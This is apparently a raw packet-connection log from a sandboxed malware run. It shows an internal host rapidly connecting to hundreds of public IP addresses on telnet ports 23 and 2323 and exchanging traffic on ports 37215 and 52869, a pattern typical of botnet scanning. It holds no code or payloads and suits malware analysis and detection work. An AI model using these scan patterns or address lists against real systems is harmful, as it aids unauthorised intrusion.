Dec 4, 2024 20:34:28.314940929 CET	52869	48876	197.96.143.60	192.168.2.14
Dec 4, 2024 20:34:28.315006018 CET	48876	52869	192.168.2.14	197.96.143.60
Dec 4, 2024 20:34:28.315006018 CET	48876	52869	192.168.2.14	197.96.143.60
Dec 4, 2024 20:34:28.355205059 CET	52869	56986	41.58.254.48	192.168.2.14
Dec 4, 2024 20:34:28.375947952 CET	37215	37886	197.192.58.48	192.168.2.14
Dec 4, 2024 20:34:28.375989914 CET	37886	37215	192.168.2.14	197.192.58.48
Dec 4, 2024 20:34:28.377751112 CET	37215	38998	41.201.40.37	192.168.2.14
Dec 4, 2024 20:34:28.377878904 CET	38998	37215	192.168.2.14	41.201.40.37
Dec 4, 2024 20:34:28.378539085 CET	37215	58026	156.223.246.183	192.168.2.14
Dec 4, 2024 20:34:28.378643036 CET	58026	37215	192.168.2.14	156.223.246.183
Dec 4, 2024 20:34:28.435297012 CET	52869	48866	197.96.143.60	192.168.2.14
Dec 4, 2024 20:34:28.435620070 CET	52869	56996	41.58.254.48	192.168.2.14
Dec 4, 2024 20:34:28.435657978 CET	56996	52869	192.168.2.14	41.58.254.48
Dec 4, 2024 20:34:28.436103106 CET	52869	48876	197.96.143.60	192.168.2.14
Dec 4, 2024 20:34:28.436350107 CET	48876	52869	192.168.2.14	197.96.143.60
Dec 4, 2024 20:34:28.748195887 CET	60787	2323	192.168.2.14	203.20.182.112
Dec 4, 2024 20:34:28.748195887 CET	60787	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:28.748195887 CET	60787	23	192.168.2.14	199.72.243.77
Dec 4, 2024 20:34:28.748203993 CET	60787	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:28.748203993 CET	60787	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:28.748205900 CET	60787	23	192.168.2.14	66.163.41.22
Dec 4, 2024 20:34:28.748203993 CET	60787	23	192.168.2.14	150.4.163.36
Dec 4, 2024 20:34:28.748207092 CET	60787	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:28.748205900 CET	60787	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:28.748207092 CET	60787	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:28.748203993 CET	60787	23	192.168.2.14	171.70.253.116
Dec 4, 2024 20:34:28.748209000 CET	60787	23	192.168.2.14	118.179.164.86
Dec 4, 2024 20:34:28.748203993 CET	60787	23	192.168.2.14	74.182.235.212
Dec 4, 2024 20:34:28.748209000 CET	60787	23	192.168.2.14	32.13.228.128
Dec 4, 2024 20:34:28.748210907 CET	60787	23	192.168.2.14	141.75.203.217
Dec 4, 2024 20:34:28.748209000 CET	60787	23	192.168.2.14	113.107.13.18
Dec 4, 2024 20:34:28.748209000 CET	60787	23	192.168.2.14	37.173.63.244
Dec 4, 2024 20:34:28.748209000 CET	60787	23	192.168.2.14	203.222.108.235
Dec 4, 2024 20:34:28.748210907 CET	60787	23	192.168.2.14	219.47.57.34
Dec 4, 2024 20:34:28.748209000 CET	60787	23	192.168.2.14	110.190.153.89
Dec 4, 2024 20:34:28.748210907 CET	60787	23	192.168.2.14	82.178.162.31
Dec 4, 2024 20:34:28.748209000 CET	60787	23	192.168.2.14	146.142.19.98
Dec 4, 2024 20:34:28.748210907 CET	60787	23	192.168.2.14	164.38.237.117
Dec 4, 2024 20:34:28.748209000 CET	60787	23	192.168.2.14	206.150.24.134
Dec 4, 2024 20:34:28.748210907 CET	60787	23	192.168.2.14	180.225.100.239
Dec 4, 2024 20:34:28.748250961 CET	60787	23	192.168.2.14	27.212.9.17
Dec 4, 2024 20:34:28.748250961 CET	60787	23	192.168.2.14	109.94.63.9
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	94.39.126.146
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	149.217.166.225
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	99.234.222.27
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	166.21.100.118
Dec 4, 2024 20:34:28.748291016 CET	60787	23	192.168.2.14	142.94.55.104
Dec 4, 2024 20:34:28.748290062 CET	60787	23	192.168.2.14	170.76.147.12
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	184.52.45.59
Dec 4, 2024 20:34:28.748291969 CET	60787	23	192.168.2.14	206.223.56.156
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	69.205.3.82
Dec 4, 2024 20:34:28.748291969 CET	60787	23	192.168.2.14	154.147.49.100
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	221.84.62.217
Dec 4, 2024 20:34:28.748295069 CET	60787	23	192.168.2.14	121.208.151.118
Dec 4, 2024 20:34:28.748291969 CET	60787	23	192.168.2.14	73.177.34.175
Dec 4, 2024 20:34:28.748294115 CET	60787	2323	192.168.2.14	200.208.163.244
Dec 4, 2024 20:34:28.748290062 CET	60787	23	192.168.2.14	185.7.177.72
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	32.26.226.115
Dec 4, 2024 20:34:28.748294115 CET	60787	23	192.168.2.14	27.9.100.255
Dec 4, 2024 20:34:28.748291016 CET	60787	2323	192.168.2.14	111.203.162.122
Dec 4, 2024 20:34:28.748294115 CET	60787	23	192.168.2.14	42.200.16.161
Dec 4, 2024 20:34:28.748295069 CET	60787	23	192.168.2.14	86.216.250.111
Dec 4, 2024 20:34:28.748291969 CET	60787	23	192.168.2.14	188.45.136.245
Dec 4, 2024 20:34:28.748290062 CET	60787	23	192.168.2.14	176.201.141.246
Dec 4, 2024 20:34:28.748291016 CET	60787	23	192.168.2.14	104.4.207.41
Dec 4, 2024 20:34:28.748296022 CET	60787	23	192.168.2.14	155.173.151.212
Dec 4, 2024 20:34:28.748291969 CET	60787	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	158.212.231.85
Dec 4, 2024 20:34:28.748290062 CET	60787	23	192.168.2.14	163.43.135.223
Dec 4, 2024 20:34:28.748291016 CET	60787	23	192.168.2.14	167.50.240.55
Dec 4, 2024 20:34:28.748294115 CET	60787	23	192.168.2.14	163.21.119.83
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	186.196.70.95
Dec 4, 2024 20:34:28.748290062 CET	60787	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:28.748296022 CET	60787	23	192.168.2.14	80.202.155.43
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	59.209.121.198
Dec 4, 2024 20:34:28.748296022 CET	60787	23	192.168.2.14	18.201.2.98
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	82.14.186.157
Dec 4, 2024 20:34:28.748296022 CET	60787	23	192.168.2.14	18.23.6.211
Dec 4, 2024 20:34:28.748291969 CET	60787	23	192.168.2.14	105.19.95.134
Dec 4, 2024 20:34:28.748296022 CET	60787	2323	192.168.2.14	192.115.174.32
Dec 4, 2024 20:34:28.748291016 CET	60787	23	192.168.2.14	45.145.253.25
Dec 4, 2024 20:34:28.748291969 CET	60787	23	192.168.2.14	171.56.139.235
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	100.137.94.31
Dec 4, 2024 20:34:28.748294115 CET	60787	23	192.168.2.14	216.217.69.150
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	198.33.234.185
Dec 4, 2024 20:34:28.748294115 CET	60787	23	192.168.2.14	133.122.98.172
Dec 4, 2024 20:34:28.748291969 CET	60787	23	192.168.2.14	208.203.68.55
Dec 4, 2024 20:34:28.748296022 CET	60787	23	192.168.2.14	72.151.63.33
Dec 4, 2024 20:34:28.748291016 CET	60787	23	192.168.2.14	160.108.67.163
Dec 4, 2024 20:34:28.748294115 CET	60787	2323	192.168.2.14	58.186.41.58
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	63.137.76.156
Dec 4, 2024 20:34:28.748290062 CET	60787	23	192.168.2.14	85.62.108.131
Dec 4, 2024 20:34:28.748292923 CET	60787	23	192.168.2.14	167.5.115.6
Dec 4, 2024 20:34:28.748291016 CET	60787	23	192.168.2.14	185.22.157.14
Dec 4, 2024 20:34:28.748289108 CET	60787	23	192.168.2.14	217.126.65.225
Dec 4, 2024 20:34:28.748294115 CET	60787	23	192.168.2.14	72.50.106.177
Dec 4, 2024 20:34:28.748290062 CET	60787	23	192.168.2.14	67.123.5.244
Dec 4, 2024 20:34:28.748291969 CET	60787	23	192.168.2.14	108.80.55.105
Dec 4, 2024 20:34:28.748290062 CET	60787	23	192.168.2.14	81.147.93.66
Dec 4, 2024 20:34:28.748291016 CET	60787	23	192.168.2.14	66.40.26.236
Dec 4, 2024 20:34:28.748291969 CET	60787	23	192.168.2.14	81.147.162.237
Dec 4, 2024 20:34:28.748292923 CET	60787	23	192.168.2.14	136.170.3.114
Dec 4, 2024 20:34:28.748291969 CET	60787	23	192.168.2.14	189.220.12.230
Dec 4, 2024 20:34:28.748292923 CET	60787	23	192.168.2.14	31.109.48.40
Dec 4, 2024 20:34:28.748291969 CET	60787	2323	192.168.2.14	184.60.3.151
Dec 4, 2024 20:34:28.748292923 CET	60787	23	192.168.2.14	92.93.247.95
Dec 4, 2024 20:34:28.748361111 CET	60787	23	192.168.2.14	85.149.199.131
Dec 4, 2024 20:34:28.748361111 CET	60787	23	192.168.2.14	41.237.90.135
Dec 4, 2024 20:34:28.748361111 CET	60787	23	192.168.2.14	212.106.170.49
Dec 4, 2024 20:34:28.748361111 CET	60787	23	192.168.2.14	210.50.220.86
Dec 4, 2024 20:34:28.748361111 CET	60787	23	192.168.2.14	142.208.51.142
Dec 4, 2024 20:34:28.748361111 CET	60787	2323	192.168.2.14	58.173.22.147
Dec 4, 2024 20:34:28.748361111 CET	60787	23	192.168.2.14	69.71.231.25
Dec 4, 2024 20:34:28.748361111 CET	60787	23	192.168.2.14	153.163.83.61
Dec 4, 2024 20:34:28.748366117 CET	60787	23	192.168.2.14	72.204.245.105
Dec 4, 2024 20:34:28.748366117 CET	60787	23	192.168.2.14	27.6.154.93
Dec 4, 2024 20:34:28.748366117 CET	60787	23	192.168.2.14	186.253.174.201
Dec 4, 2024 20:34:28.748366117 CET	60787	23	192.168.2.14	65.200.228.116
Dec 4, 2024 20:34:28.748366117 CET	60787	23	192.168.2.14	211.62.210.226
Dec 4, 2024 20:34:28.748367071 CET	60787	23	192.168.2.14	221.68.191.143
Dec 4, 2024 20:34:28.748367071 CET	60787	23	192.168.2.14	206.80.250.31
Dec 4, 2024 20:34:28.748367071 CET	60787	23	192.168.2.14	136.157.62.226
Dec 4, 2024 20:34:28.748369932 CET	60787	23	192.168.2.14	112.154.187.248
Dec 4, 2024 20:34:28.748370886 CET	60787	23	192.168.2.14	204.150.208.161
Dec 4, 2024 20:34:28.748370886 CET	60787	23	192.168.2.14	17.163.82.179
Dec 4, 2024 20:34:28.748370886 CET	60787	2323	192.168.2.14	122.184.32.190
Dec 4, 2024 20:34:28.748370886 CET	60787	23	192.168.2.14	219.94.240.220
Dec 4, 2024 20:34:28.748370886 CET	60787	23	192.168.2.14	79.147.225.174
Dec 4, 2024 20:34:28.748370886 CET	60787	23	192.168.2.14	34.208.69.219
Dec 4, 2024 20:34:28.748370886 CET	60787	23	192.168.2.14	161.136.138.69
Dec 4, 2024 20:34:28.748375893 CET	60787	23	192.168.2.14	158.224.218.162
Dec 4, 2024 20:34:28.748375893 CET	60787	23	192.168.2.14	202.189.26.80
Dec 4, 2024 20:34:28.748375893 CET	60787	23	192.168.2.14	48.189.151.31
Dec 4, 2024 20:34:28.748375893 CET	60787	23	192.168.2.14	47.9.252.186
Dec 4, 2024 20:34:28.748375893 CET	60787	23	192.168.2.14	174.41.36.66
Dec 4, 2024 20:34:28.748378038 CET	60787	23	192.168.2.14	158.130.238.152
Dec 4, 2024 20:34:28.748375893 CET	60787	23	192.168.2.14	76.129.125.106
Dec 4, 2024 20:34:28.748379946 CET	60787	2323	192.168.2.14	136.22.210.81
Dec 4, 2024 20:34:28.748378038 CET	60787	23	192.168.2.14	87.241.204.110
Dec 4, 2024 20:34:28.748380899 CET	60787	23	192.168.2.14	185.155.249.108
Dec 4, 2024 20:34:28.748375893 CET	60787	23	192.168.2.14	79.125.157.0
Dec 4, 2024 20:34:28.748380899 CET	60787	23	192.168.2.14	37.102.17.222
Dec 4, 2024 20:34:28.748379946 CET	60787	23	192.168.2.14	92.196.12.191
Dec 4, 2024 20:34:28.748378992 CET	60787	2323	192.168.2.14	151.59.136.12
Dec 4, 2024 20:34:28.748379946 CET	60787	23	192.168.2.14	59.63.247.83
Dec 4, 2024 20:34:28.748378992 CET	60787	23	192.168.2.14	79.92.180.185
Dec 4, 2024 20:34:28.748375893 CET	60787	23	192.168.2.14	74.107.41.55
Dec 4, 2024 20:34:28.748380899 CET	60787	2323	192.168.2.14	204.105.118.225
Dec 4, 2024 20:34:28.748379946 CET	60787	23	192.168.2.14	17.138.62.42
Dec 4, 2024 20:34:28.748378992 CET	60787	2323	192.168.2.14	150.46.235.3
Dec 4, 2024 20:34:28.748380899 CET	60787	23	192.168.2.14	89.88.183.193
Dec 4, 2024 20:34:28.748378992 CET	60787	23	192.168.2.14	168.230.66.87
Dec 4, 2024 20:34:28.748380899 CET	60787	23	192.168.2.14	178.240.171.129
Dec 4, 2024 20:34:28.748378992 CET	60787	23	192.168.2.14	97.54.200.198
Dec 4, 2024 20:34:28.748379946 CET	60787	23	192.168.2.14	190.93.107.35
Dec 4, 2024 20:34:28.748380899 CET	60787	23	192.168.2.14	45.73.212.50
Dec 4, 2024 20:34:28.748380899 CET	60787	23	192.168.2.14	146.120.106.110
Dec 4, 2024 20:34:28.748378992 CET	60787	23	192.168.2.14	140.214.212.89
Dec 4, 2024 20:34:28.748380899 CET	60787	23	192.168.2.14	45.250.151.38
Dec 4, 2024 20:34:28.748378992 CET	60787	23	192.168.2.14	61.3.196.131
Dec 4, 2024 20:34:28.748379946 CET	60787	23	192.168.2.14	184.141.164.49
Dec 4, 2024 20:34:28.748387098 CET	60787	23	192.168.2.14	181.133.11.172
Dec 4, 2024 20:34:28.748380899 CET	60787	23	192.168.2.14	2.221.12.60
Dec 4, 2024 20:34:28.748378992 CET	60787	23	192.168.2.14	53.82.253.74
Dec 4, 2024 20:34:28.748379946 CET	60787	23	192.168.2.14	220.207.86.156
Dec 4, 2024 20:34:28.748380899 CET	60787	2323	192.168.2.14	67.10.59.10
Dec 4, 2024 20:34:28.748387098 CET	60787	23	192.168.2.14	106.12.129.165
Dec 4, 2024 20:34:28.748380899 CET	60787	23	192.168.2.14	201.25.65.70
Dec 4, 2024 20:34:28.748387098 CET	60787	23	192.168.2.14	82.176.176.255
Dec 4, 2024 20:34:28.748379946 CET	60787	23	192.168.2.14	88.62.4.203
Dec 4, 2024 20:34:28.748387098 CET	60787	2323	192.168.2.14	217.246.174.107
Dec 4, 2024 20:34:28.748387098 CET	60787	23	192.168.2.14	201.150.168.14
Dec 4, 2024 20:34:28.748387098 CET	60787	23	192.168.2.14	124.63.238.214
Dec 4, 2024 20:34:28.748387098 CET	60787	23	192.168.2.14	59.55.127.211
Dec 4, 2024 20:34:28.748423100 CET	60787	23	192.168.2.14	67.158.7.158
Dec 4, 2024 20:34:28.748971939 CET	55608	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:28.749716997 CET	39186	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:28.750435114 CET	57274	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:28.751143932 CET	44294	23	192.168.2.14	18.64.164.142
Dec 4, 2024 20:34:28.751832962 CET	55196	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:28.752525091 CET	59714	23	192.168.2.14	180.100.180.63
Dec 4, 2024 20:34:28.753211975 CET	46786	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:28.753922939 CET	35360	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:28.754609108 CET	35384	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:28.755309105 CET	56854	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:28.756002903 CET	49446	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:28.756712914 CET	45758	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:28.757446051 CET	44412	23	192.168.2.14	160.113.182.46
Dec 4, 2024 20:34:28.758101940 CET	37874	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:28.758812904 CET	51966	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:28.759522915 CET	39192	23	192.168.2.14	161.193.252.223
Dec 4, 2024 20:34:28.760193110 CET	34110	23	192.168.2.14	164.152.144.218
Dec 4, 2024 20:34:28.760865927 CET	49538	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:28.761533022 CET	48090	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:28.762240887 CET	41486	23	192.168.2.14	167.81.113.199
Dec 4, 2024 20:34:28.762917995 CET	38644	23	192.168.2.14	70.38.173.168
Dec 4, 2024 20:34:28.767724991 CET	42826	23	192.168.2.14	134.247.195.205
Dec 4, 2024 20:34:28.768336058 CET	34274	23	192.168.2.14	161.204.36.67
Dec 4, 2024 20:34:28.768961906 CET	44246	23	192.168.2.14	103.222.238.109
Dec 4, 2024 20:34:28.769579887 CET	41868	2323	192.168.2.14	139.203.168.53
Dec 4, 2024 20:34:28.770210981 CET	37646	23	192.168.2.14	142.8.161.214
Dec 4, 2024 20:34:28.770865917 CET	55888	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:28.771538019 CET	38294	2323	192.168.2.14	220.162.160.45
Dec 4, 2024 20:34:28.772181988 CET	59694	23	192.168.2.14	36.173.135.124
Dec 4, 2024 20:34:28.772867918 CET	37804	23	192.168.2.14	175.54.171.246
Dec 4, 2024 20:34:28.773494005 CET	34556	23	192.168.2.14	84.172.76.218
Dec 4, 2024 20:34:28.774255991 CET	38900	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:28.774924994 CET	33344	23	192.168.2.14	99.251.34.246
Dec 4, 2024 20:34:28.775600910 CET	58338	23	192.168.2.14	184.99.73.225
Dec 4, 2024 20:34:28.776230097 CET	35158	23	192.168.2.14	40.179.182.146
Dec 4, 2024 20:34:28.776870966 CET	55252	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:28.777486086 CET	50412	2323	192.168.2.14	171.161.255.216
Dec 4, 2024 20:34:28.778110027 CET	48736	23	192.168.2.14	213.194.145.218
Dec 4, 2024 20:34:28.778762102 CET	57392	23	192.168.2.14	182.216.226.152
Dec 4, 2024 20:34:28.779417992 CET	60306	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:28.780092001 CET	58364	23	192.168.2.14	82.54.118.213
Dec 4, 2024 20:34:28.780775070 CET	60244	23	192.168.2.14	195.88.180.72
Dec 4, 2024 20:34:28.781426907 CET	37264	23	192.168.2.14	44.177.131.156
Dec 4, 2024 20:34:28.782103062 CET	52922	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:28.782764912 CET	46178	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:28.783416986 CET	36822	23	192.168.2.14	156.103.166.118
Dec 4, 2024 20:34:28.784077883 CET	43684	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:28.784725904 CET	46272	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:28.785427094 CET	57490	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:28.786108971 CET	34380	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:28.786782980 CET	41532	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:28.787452936 CET	41640	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:28.788105965 CET	38514	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:28.788769007 CET	59838	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:28.789418936 CET	40098	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:28.790081978 CET	59912	23	192.168.2.14	112.154.109.33
Dec 4, 2024 20:34:28.790743113 CET	41682	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:28.869244099 CET	23	60787	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:28.869319916 CET	2323	60787	203.20.182.112	192.168.2.14
Dec 4, 2024 20:34:28.869330883 CET	2323	60787	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:28.869347095 CET	23	60787	66.163.41.22	192.168.2.14
Dec 4, 2024 20:34:28.869359016 CET	23	60787	199.72.243.77	192.168.2.14
Dec 4, 2024 20:34:28.869368076 CET	23	60787	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:28.869524956 CET	60787	2323	192.168.2.14	203.20.182.112
Dec 4, 2024 20:34:28.869525909 CET	60787	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:28.869524956 CET	60787	23	192.168.2.14	199.72.243.77
Dec 4, 2024 20:34:28.869524956 CET	60787	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:28.869529009 CET	60787	23	192.168.2.14	66.163.41.22
Dec 4, 2024 20:34:28.869533062 CET	60787	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:28.869952917 CET	23	60787	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:28.869986057 CET	23	60787	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:28.869996071 CET	2323	60787	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:28.870004892 CET	23	60787	150.4.163.36	192.168.2.14
Dec 4, 2024 20:34:28.870073080 CET	23	60787	171.70.253.116	192.168.2.14
Dec 4, 2024 20:34:28.870086908 CET	60787	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:28.870088100 CET	60787	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:28.870088100 CET	60787	23	192.168.2.14	150.4.163.36
Dec 4, 2024 20:34:28.870090008 CET	23	60787	74.182.235.212	192.168.2.14
Dec 4, 2024 20:34:28.870089054 CET	60787	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:28.870100975 CET	23	60787	118.179.164.86	192.168.2.14
Dec 4, 2024 20:34:28.870101929 CET	60787	23	192.168.2.14	171.70.253.116
Dec 4, 2024 20:34:28.870116949 CET	60787	23	192.168.2.14	74.182.235.212
Dec 4, 2024 20:34:28.870126963 CET	60787	23	192.168.2.14	118.179.164.86
Dec 4, 2024 20:34:28.870157003 CET	23	60787	141.75.203.217	192.168.2.14
Dec 4, 2024 20:34:28.870167017 CET	23	60787	32.13.228.128	192.168.2.14
Dec 4, 2024 20:34:28.870198965 CET	60787	23	192.168.2.14	32.13.228.128
Dec 4, 2024 20:34:28.870202065 CET	60787	23	192.168.2.14	141.75.203.217
Dec 4, 2024 20:34:28.870235920 CET	23	60787	113.107.13.18	192.168.2.14
Dec 4, 2024 20:34:28.870260954 CET	23	60787	37.173.63.244	192.168.2.14
Dec 4, 2024 20:34:28.870276928 CET	60787	23	192.168.2.14	113.107.13.18
Dec 4, 2024 20:34:28.870287895 CET	60787	23	192.168.2.14	37.173.63.244
Dec 4, 2024 20:34:28.870301008 CET	23	60787	219.47.57.34	192.168.2.14
Dec 4, 2024 20:34:28.870335102 CET	60787	23	192.168.2.14	219.47.57.34
Dec 4, 2024 20:34:28.870349884 CET	23	60787	203.222.108.235	192.168.2.14
Dec 4, 2024 20:34:28.870359898 CET	23	60787	82.178.162.31	192.168.2.14
Dec 4, 2024 20:34:28.870388985 CET	60787	23	192.168.2.14	203.222.108.235
Dec 4, 2024 20:34:28.870388985 CET	60787	23	192.168.2.14	82.178.162.31
Dec 4, 2024 20:34:28.870420933 CET	23	60787	110.190.153.89	192.168.2.14
Dec 4, 2024 20:34:28.870431900 CET	23	60787	146.142.19.98	192.168.2.14
Dec 4, 2024 20:34:28.870440960 CET	23	60787	164.38.237.117	192.168.2.14
Dec 4, 2024 20:34:28.870450020 CET	23	60787	206.150.24.134	192.168.2.14
Dec 4, 2024 20:34:28.870459080 CET	23	60787	180.225.100.239	192.168.2.14
Dec 4, 2024 20:34:28.870462894 CET	60787	23	192.168.2.14	110.190.153.89
Dec 4, 2024 20:34:28.870462894 CET	60787	23	192.168.2.14	146.142.19.98
Dec 4, 2024 20:34:28.870470047 CET	60787	23	192.168.2.14	164.38.237.117
Dec 4, 2024 20:34:28.870474100 CET	60787	23	192.168.2.14	206.150.24.134
Dec 4, 2024 20:34:28.870484114 CET	60787	23	192.168.2.14	180.225.100.239
Dec 4, 2024 20:34:28.870487928 CET	23	60787	27.212.9.17	192.168.2.14
Dec 4, 2024 20:34:28.870497942 CET	23	60787	109.94.63.9	192.168.2.14
Dec 4, 2024 20:34:28.870507002 CET	23	60787	94.39.126.146	192.168.2.14
Dec 4, 2024 20:34:28.870522022 CET	60787	23	192.168.2.14	27.212.9.17
Dec 4, 2024 20:34:28.870522022 CET	60787	23	192.168.2.14	109.94.63.9
Dec 4, 2024 20:34:28.870531082 CET	23	60787	99.234.222.27	192.168.2.14
Dec 4, 2024 20:34:28.870537043 CET	60787	23	192.168.2.14	94.39.126.146
Dec 4, 2024 20:34:28.870565891 CET	60787	23	192.168.2.14	99.234.222.27
Dec 4, 2024 20:34:28.870649099 CET	23	60787	69.205.3.82	192.168.2.14
Dec 4, 2024 20:34:28.870687962 CET	60787	23	192.168.2.14	69.205.3.82
Dec 4, 2024 20:34:28.870728016 CET	23	60787	221.84.62.217	192.168.2.14
Dec 4, 2024 20:34:28.870739937 CET	23	60787	158.212.231.85	192.168.2.14
Dec 4, 2024 20:34:28.870753050 CET	23	60787	59.209.121.198	192.168.2.14
Dec 4, 2024 20:34:28.870764017 CET	23	60787	121.208.151.118	192.168.2.14
Dec 4, 2024 20:34:28.870768070 CET	60787	23	192.168.2.14	221.84.62.217
Dec 4, 2024 20:34:28.870768070 CET	60787	23	192.168.2.14	158.212.231.85
Dec 4, 2024 20:34:28.870785952 CET	60787	23	192.168.2.14	59.209.121.198
Dec 4, 2024 20:34:28.870795012 CET	60787	23	192.168.2.14	121.208.151.118
Dec 4, 2024 20:34:28.871474028 CET	2323	60787	200.208.163.244	192.168.2.14
Dec 4, 2024 20:34:28.871512890 CET	60787	2323	192.168.2.14	200.208.163.244
Dec 4, 2024 20:34:28.871540070 CET	23	60787	82.14.186.157	192.168.2.14
Dec 4, 2024 20:34:28.871565104 CET	23	60787	86.216.250.111	192.168.2.14
Dec 4, 2024 20:34:28.871577978 CET	60787	23	192.168.2.14	82.14.186.157
Dec 4, 2024 20:34:28.871601105 CET	60787	23	192.168.2.14	86.216.250.111
Dec 4, 2024 20:34:28.871620893 CET	23	60787	27.9.100.255	192.168.2.14
Dec 4, 2024 20:34:28.871659040 CET	60787	23	192.168.2.14	27.9.100.255
Dec 4, 2024 20:34:28.871664047 CET	23	60787	149.217.166.225	192.168.2.14
Dec 4, 2024 20:34:28.871675968 CET	23	60787	154.147.49.100	192.168.2.14
Dec 4, 2024 20:34:28.871701002 CET	60787	23	192.168.2.14	149.217.166.225
Dec 4, 2024 20:34:28.871704102 CET	60787	23	192.168.2.14	154.147.49.100
Dec 4, 2024 20:34:28.871742010 CET	23	60787	100.137.94.31	192.168.2.14
Dec 4, 2024 20:34:28.871751070 CET	23	60787	155.173.151.212	192.168.2.14
Dec 4, 2024 20:34:28.871759892 CET	23	60787	206.223.56.156	192.168.2.14
Dec 4, 2024 20:34:28.871778011 CET	60787	23	192.168.2.14	100.137.94.31
Dec 4, 2024 20:34:28.871778965 CET	60787	23	192.168.2.14	155.173.151.212
Dec 4, 2024 20:34:28.871788025 CET	23	60787	42.200.16.161	192.168.2.14
Dec 4, 2024 20:34:28.871793985 CET	60787	23	192.168.2.14	206.223.56.156
Dec 4, 2024 20:34:28.871812105 CET	23	60787	166.21.100.118	192.168.2.14
Dec 4, 2024 20:34:28.871828079 CET	60787	23	192.168.2.14	42.200.16.161
Dec 4, 2024 20:34:28.871846914 CET	60787	23	192.168.2.14	166.21.100.118
Dec 4, 2024 20:34:28.871850014 CET	23	60787	80.202.155.43	192.168.2.14
Dec 4, 2024 20:34:28.871881962 CET	23	60787	188.45.136.245	192.168.2.14
Dec 4, 2024 20:34:28.871891022 CET	23	60787	170.76.147.12	192.168.2.14
Dec 4, 2024 20:34:28.871896029 CET	60787	23	192.168.2.14	80.202.155.43
Dec 4, 2024 20:34:28.871901989 CET	23	60787	73.177.34.175	192.168.2.14
Dec 4, 2024 20:34:28.871916056 CET	60787	23	192.168.2.14	188.45.136.245
Dec 4, 2024 20:34:28.871926069 CET	23	60787	142.94.55.104	192.168.2.14
Dec 4, 2024 20:34:28.871927023 CET	60787	23	192.168.2.14	170.76.147.12
Dec 4, 2024 20:34:28.871932030 CET	60787	23	192.168.2.14	73.177.34.175
Dec 4, 2024 20:34:28.871954918 CET	60787	23	192.168.2.14	142.94.55.104
Dec 4, 2024 20:34:28.871968031 CET	23	60787	163.21.119.83	192.168.2.14
Dec 4, 2024 20:34:28.871978998 CET	23	60787	184.52.45.59	192.168.2.14
Dec 4, 2024 20:34:28.871989965 CET	23	60787	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:28.872004986 CET	60787	23	192.168.2.14	184.52.45.59
Dec 4, 2024 20:34:28.872008085 CET	60787	23	192.168.2.14	163.21.119.83
Dec 4, 2024 20:34:28.872019053 CET	60787	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:28.872026920 CET	23	60787	18.201.2.98	192.168.2.14
